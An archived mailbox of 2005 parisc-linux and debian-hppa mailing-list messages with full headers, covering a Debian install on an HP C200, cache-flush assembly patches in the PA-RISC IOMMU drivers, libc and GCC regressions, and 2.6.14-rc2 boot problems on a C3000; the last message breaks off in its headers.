For etch I've seen that cdrom images are aivailable but noy dvd-rom 
images, I don't want burn 14 cdrom ;) so how can I download the 
installation archives to my laptop?

Thank You! :)

> welcome - and thanks for your patience and tenacity.

Where there is the will there is the way! ;)
I want to install debian to my C200 and I want to start using it!!! :)
If I can help you with debugs or compilation or else let me know.

Thanks again! :)

Ciao.

	Fabio.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trying to install sarge on a C200
Date: Wed, 12 Oct 2005 10:35:06 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <e6eae0290510120235g766a5b3k__31290.1720674292$1416623929$gmane$org@mail.gmail.com>
References: <434A195B.5010201@albacom.net>
	 <20051010165308.GA15762@quicksilver.road.mcmartin.ca>
	 <7d01f9f00510110147u170a7be7nce566efbf1443765@mail.gmail.com>
	 <20051011143151.GA11440@lst.de>
	 <7d01f9f00510110840q254927c5q7e215de45344cb0c@mail.gmail.com>
	 <20051012065639.GE9412@colo.lackof.org>
	 <7d01f9f00510120212g5470a397q436d7d41eef706b6@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623929 16814 80.91.229.3 (22 Nov 2014 02:38:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:49 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Thibaut VARENE <varenet@gmail.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Oct 2005 21:45:42 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx004) with SMTP; 12 Oct 2005 23:45:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id A1CD02E2F6; Wed, 12 Oct 2005 16:45:36 -0500 (CDT)
Old-Return-Path: <parisc@gmail.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from qproxy.gmail.com (qproxy.gmail.com [72.14.204.193])
	by murphy.debian.org (Postfix) with ESMTP id 9F3C72DD8E
	for <debian-hppa@lists.debian.org>; Wed, 12 Oct 2005 16:29:09 -0500 (CDT)
Original-Received: by qproxy.gmail.com with SMTP id f10so183295qba
        for <debian-hppa@lists.debian.org>; Wed, 12 Oct 2005 14:29:07 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
        s=beta; d=gmail.com;
        h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
        b=RuKBOCMHzQ+4+ELJCINLwhbwUzT9+zDiohWImH+LNe3WG5Bp3ThnW4/lZI7rLwmvdJe9xmk4A0nksxpyDboF+5PeiPTKJlVYYW4/EgMCJ+42kWyRny2M3y42u0CnfBcIcAROIIRGQvxfOvNWTUAF9ZU76e3VWfZmfkwjsVH7COk=
Original-Received: by 10.64.195.18 with SMTP id s18mr267846qbf;
        Wed, 12 Oct 2005 02:35:06 -0700 (PDT)
Original-Received: by 10.64.208.19 with HTTP; Wed, 12 Oct 2005 02:35:06 -0700 (PDT)
In-Reply-To: <7d01f9f00510120212g5470a397q436d7d41eef706b6@mail.gmail.com>
Content-Disposition: inline
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-08-24_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-2.8 required=4.0 tests=ALL_TRUSTED,RCVD_BY_IP 
	autolearn=no version=3.0.3
Resent-Message-ID: <GzjZgB.A.Y4E.AQYTDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4873
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 12 Oct 2005 16:45:36 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: UeE/Y+V4eSEkdr6WZHQhaXN1IGRvb4Dl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23176

On 12/10/05, Thibaut VARENE <varenet@gmail.com> wrote:
> Awesome. If that's a 64bit kernel, then the problem is most likely
> gone (and we should remove it from the wiki KnownIssues list ;)

Heh, seems I was 5 minutes faster than you:

 Info for "KnownIssues":
   2005-10-12 08:48:01 =093375 =09=09MaxGrabert =09XFS seems to work, some
sound issues seem to be fixed as well


BTW, looking at the ad1889 wiki page it still says that ALSA is broken ...

Greetings,
   Max



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: PA7200 smp pb on d380 [Continue: May be ccio-dma
	also?]
Date: Fri, 14 Oct 2005 00:04:17 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <20051014060417.GD3348@colo.lackof.org>
References: <IOC4Y4$47D21CD65D90BE54F77B218C41CF7D41@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623929 16815 80.91.229.3 (22 Nov 2014 02:38:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:49 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Oct 2005 05:57:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 14 Oct 2005 07:57:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A78777D77A;
	Thu, 13 Oct 2005 23:57:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07919-07; Thu, 13 Oct 2005 23:57:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DF077D77C;
	Thu, 13 Oct 2005 23:57:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36CFB7D778
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Oct 2005 23:57:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07919-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Oct 2005 23:57:21 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8CED57D774
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Oct 2005 23:57:21 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1A8F136000E;
	Fri, 14 Oct 2005 00:04:18 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18439-03; Fri, 14 Oct 2005 00:04:17 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9E96D360002; Fri, 14 Oct 2005 00:04:17 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <IOC4Y4$47D21CD65D90BE54F77B218C41CF7D41@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mC09Y5FYeSEkfb6WZHQhaXN1IGRvbwC8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23177

On Fri, Oct 14, 2005 at 07:37:16AM +0200, Joel Soete wrote:
> > sr0?
> > The above change was for %r0, not %sr0.
> > Or can you point out exactly what you are referring to?
>
> Ah it was so a good question :=)
> let see so the first:
> RCS file: /var/lib/cvs/linux-2.6/drivers/parisc/ccio-dma.c,v
> retrieving revision 1.24
> retrieving revision 1.25
> diff -u -r1.24 -r1.25
> --- linux-2.6/drivers/parisc/ccio-dma.c	2005/09/11 19:47:11	1.24
> +++ linux-2.6/drivers/parisc/ccio-dma.c	2005/10/12 15:25:21	1.25
> @@ -613,7 +613,7 @@
>  	** the real mode coherence index generation of U2, the PDIR entry
>  	** must be flushed to memory to retain coherence."
>  	*/
> -	asm volatile("fdc 0(%0)" : : "r" (pdir_ptr));
> +	asm volatile("fdc %%r0(%%sr0,%0)" : : "r" (pdir_ptr));

Ah ok!

> (I agree that it was in my original proposal, you can blame me ...)

No. My bad. I should have known better.


> finaly (what confusing my tiny mind: your previous related patch just removed it):
> RCS file: /var/lib/cvs/linux-2.6/drivers/parisc/sba_iommu.c,v
> retrieving revision 1.39
> retrieving revision 1.40
> diff -u -r1.39 -r1.40
> --- linux-2.6/drivers/parisc/sba_iommu.c	2005/10/09 21:08:38	1.39
> +++ linux-2.6/drivers/parisc/sba_iommu.c	2005/10/12 15:30:28	1.40
> @@ -743,9 +743,8 @@
>  	 * (bit #61, big endian), we have to flush and sync every time
>  	 * IO-PDIR is changed in Ike/Astro.
>  	 */
> -	if (ioc_needs_fdc) {
> -		asm volatile("fdc %%r0(%0)\n\tsync" : : "r" (pdir_ptr));
> -	}
> +	if (ioc_needs_fdc)
> +		asm volatile("fdc %%r0(%%sr0,%0)" : : "r" (pdir_ptr));
>  }
> 
> 
> ====<>====
> (why I said 'resurected')

ok - I'll remove that as well. I suspect that crept in when
I switch machines and didn't properly sync the source trees.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC regressions with libc6/2.3.5-6.0.1
Date: Tue, 18 Oct 2005 02:16:24 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <17236.16088.230585.214895@gargle.gargle.HOWL>
References: <200510161938.j9GJcjW0002899@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623929 16827 80.91.229.3 (22 Nov 2014 02:38:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2005 00:16:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 18 Oct 2005 02:16:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 585BE7D69B;
	Mon, 17 Oct 2005 18:16:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12149-07; Mon, 17 Oct 2005 18:16:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE2187D68B;
	Mon, 17 Oct 2005 18:16:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93C167D687
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Oct 2005 18:16:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12222-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Oct 2005 18:16:32 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id 8F02E7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Oct 2005 18:16:31 -0600 (MDT)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de
	[130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id CAA22647;
	Tue, 18 Oct 2005 02:16:26 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id 67B7FF20F;
	Tue, 18 Oct 2005 02:16:26 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (bueno [127.0.0.1]) (amavisd-new, port 10224) with ESMTP
	id 17461-42; Tue, 18 Oct 2005 02:16:24 +0200 (MEST) 11341
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Tue, 18 Oct 2005 02:16:24 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id j9I0GOYM025239;
	Tue, 18 Oct 2005 02:16:24 +0200 (MEST)
In-Reply-To: <200510161938.j9GJcjW0002899@hiauly1.hia.nrc.ca>
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ulsmY80jeSEkab6WZHQhaXN1IGRvb8AF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23178

John David Anglin writes:
> I just wanted to note that installing libc6/2.3.5-6.0.1 causes a variety
> of regressions in the GCC testsuite relative to 2.3.2.  See for example
> http://gcc.gnu.org/ml/gcc-testresults/2005-10/msg00576.html versus
> http://gcc.gnu.org/ml/gcc-testresults/2005-09/msg00946.html.  These
> are in addition to the issues caused by building libc with GCC 4.x
> (e.g., http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=327351).

just as a notice, that libc6/2.3.5-7 is built with 4.0 again.

  Matthias
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.14-rc2-pa6 issues on C3000
Date: Wed, 19 Oct 2005 14:11:38 -0600
Lines: 67
Approved: news@gmane.org
Message-ID: <20051019201138.GA29348@colo.lackof.org>
References: <IOLN1Y$2D02E9DC48FF1382783F4DBD297A44A4@scarlet.be>
	<200510191854.j9JIsgEf018826@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623930 16829 80.91.229.3 (22 Nov 2014 02:38:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Oct 2005 20:04:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 19 Oct 2005 22:04:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B22717D6DA;
	Wed, 19 Oct 2005 14:04:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28714-10; Wed, 19 Oct 2005 14:04:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95F437D6B6;
	Wed, 19 Oct 2005 14:04:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D1A17D683
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Oct 2005 14:04:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28714-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Oct 2005 14:04:34 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id D27CF7D678
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Oct 2005 14:04:33 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C6969298058;
	Wed, 19 Oct 2005 14:11:38 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08519-07; Wed, 19 Oct 2005 14:11:38 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7020D29803C; Wed, 19 Oct 2005 14:11:38 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200510191854.j9JIsgEf018826@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jMMkYy8ReSEkNL6WZHQhaXN1IGRvbwDU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23179

On Wed, Oct 19, 2005 at 02:54:42PM -0400, John David Anglin wrote:
> > Nice that works a lot better (you get rid of may Warning) eventhought didn't
> > boot yet (again synchronize_irq()) :_(
> 
> rc2-pa5 doesn't boot on c3k with default config.  I built it with
> gcc-4.0 (debian).  It dies with a data alignment exception (code=26)
> in kref_get (if I remember correctly).

I'm not seeing that with my j6k.
But I'm building using "stable" gcc (gcc version 3.3.5 (Debian 1:3.3.5-13)).
I also have enabled SMP and DEBUG_SLAB in my kernel builds.
Diff between c3000_config and my mine is appended (It's short).

Kernel should warn about, but handle data alignment exceptions.
So this sounds like two bugs: one for the misaligned data and
another that the kernel isn't handling it properly.
I expect this is another exposure that gcc 3.x was hiding by
automatically aligning some data types.

> There's also some undefined symbols in a module.

Ok - those should be easy to sort out. I'll look at that tonight.
I haven't noticed it on my builds.

thanks,
grant


grundler <505>diff /boot/config-2.6.14-rc2-pa6 arch/parisc/configs/c3000_defconfig 
3,4c3,4
< # Linux kernel version: 2.6.14-rc2-pa5
< # Mon Oct 17 19:39:53 2005
---
> # Linux kernel version: 2.6.14-rc2-pa1
> # Sat Sep 24 18:33:00 2005
22d21
< CONFIG_LOCK_KERNEL=y
40d38
< # CONFIG_CPUSETS is not set
70d67
< CONFIG_STOP_MACHINE=y
83,84c80
< CONFIG_SMP=y
< CONFIG_HOTPLUG_CPU=y
---
> # CONFIG_SMP is not set
98d93
< CONFIG_NR_CPUS=4
916a912,913
> CONFIG_SND_AD1889=y
> # CONFIG_SND_AD1889_OPL3 is not set
939,940d935
< CONFIG_SND_AD1889=y
< # CONFIG_SND_AD1889_OPL3 is not set
1280c1275
< CONFIG_DEBUG_SLAB=y
---
> # CONFIG_DEBUG_SLAB is not set
1287d1281
< # CONFIG_DEBUG_RWLOCK is not set
grundler <506>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.14-rc2-pa6 issues on C3000
Date: Thu, 20 Oct 2005 13:43:24 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200510201743.j9KHhO2F024222@hiauly1.hia.nrc.ca>
References: <20051020062518.GG29348@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623930 16833 80.91.229.3 (22 Nov 2014 02:38:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2005 17:43:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 20 Oct 2005 19:43:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AB377D757;
	Thu, 20 Oct 2005 11:43:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05633-05; Thu, 20 Oct 2005 11:43:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E69AD7D75A;
	Thu, 20 Oct 2005 11:43:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B02A37D737
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Oct 2005 11:43:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05506-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Oct 2005 11:43:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 03AD97D72E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Oct 2005 11:43:25 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
